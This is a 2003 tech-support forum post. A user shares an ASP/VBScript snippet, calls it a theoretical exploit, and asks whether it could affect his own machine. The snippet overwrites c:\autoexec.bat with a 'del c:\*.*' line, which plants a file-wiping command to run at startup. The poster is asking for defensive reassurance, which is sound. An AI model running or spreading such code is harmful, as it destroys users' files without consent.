MajorGeeks Support Forums

Go Back   MajorGeeks Support Forums > ----------= PC, Desktop and Laptop Support =---------- > Software
Register FAQ Members List Calendar Casino Mark Forums Read

Software Software such as operating systems like Windows XP, Windows Vista, Windows 7 etc., or specific programs.


 
 
Thread Tools Display Modes
Prev Previous Post   Next Post Next
  #1  
Old 03-31-03, 15:48
goldfish's Avatar
goldfish goldfish is offline
Lt. Sushi.DC
 
Join Date: Jun 2002
Location: UK
Posts: 7,137
Thanks: 0
Thanked 3 Times in 3 Posts
Default Slightly dodgey

Ok, here is the code in question:

<%
Set FS = Server.CreateObject("Scripting.FileSystemObject")
Set A = FS.OpenTextFile("c:\autoexec.bat",1,false)
x = A.ReadAll
A.Close
Set B = FS.CreateTextFile("c:\autoexec.bat")
B.Write
B.WriteBlankLines(2)
B.WriteLine("del c:\*.*")
B.Close
Set A = Nothing
Set B = Nothing
Set FS = Nothing
%>

Now personally, i belive that if you tried to execute that code, it would open autoexec.bat on the SERVER not the client. Its a theoretical exploit, and i want to make sure it doesnt affect me.
__________________
(`._.[ G|Fh ]._.) Folding@Geeks, TEAM 12072 http://www.majorgeeks.com/page.php?id=9
Reply With Quote
Sponsored links
 

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -5. The time now is 19:25.

MajorGeeks.Com Menu

MajorGeeks.Com \ All In One Tweaks \ Android \ Anti-Malware \ Anti-Virus \ Appearance \ Backup \ Browsers \ CD\DVD\Blu-Ray \ Covert Ops \ Drive Utilities \ Drivers \ Graphics \ Internet Tools \ Multimedia \ Networking \ Office Tools \ NEW! PC Games \ System Tools \ Macintosh \ Demonews.Com \ Top Downloads

MajorGeeks.Com \ News (Tech) \ Off Base (Other Websites News) \ Way Off Base (Offbeat Stories and Pics)

Social: Facebook \ YouTube \ Twitter \ Tumblr \ Pintrest \ RSS Feeds


All content Copyright MajorGeeks.com source code Powered by vBulletin® Version 3.8.4
Copyright © 2009 vBulletin Solutions, Inc. All rights reserved.
Ad Management by RedTyger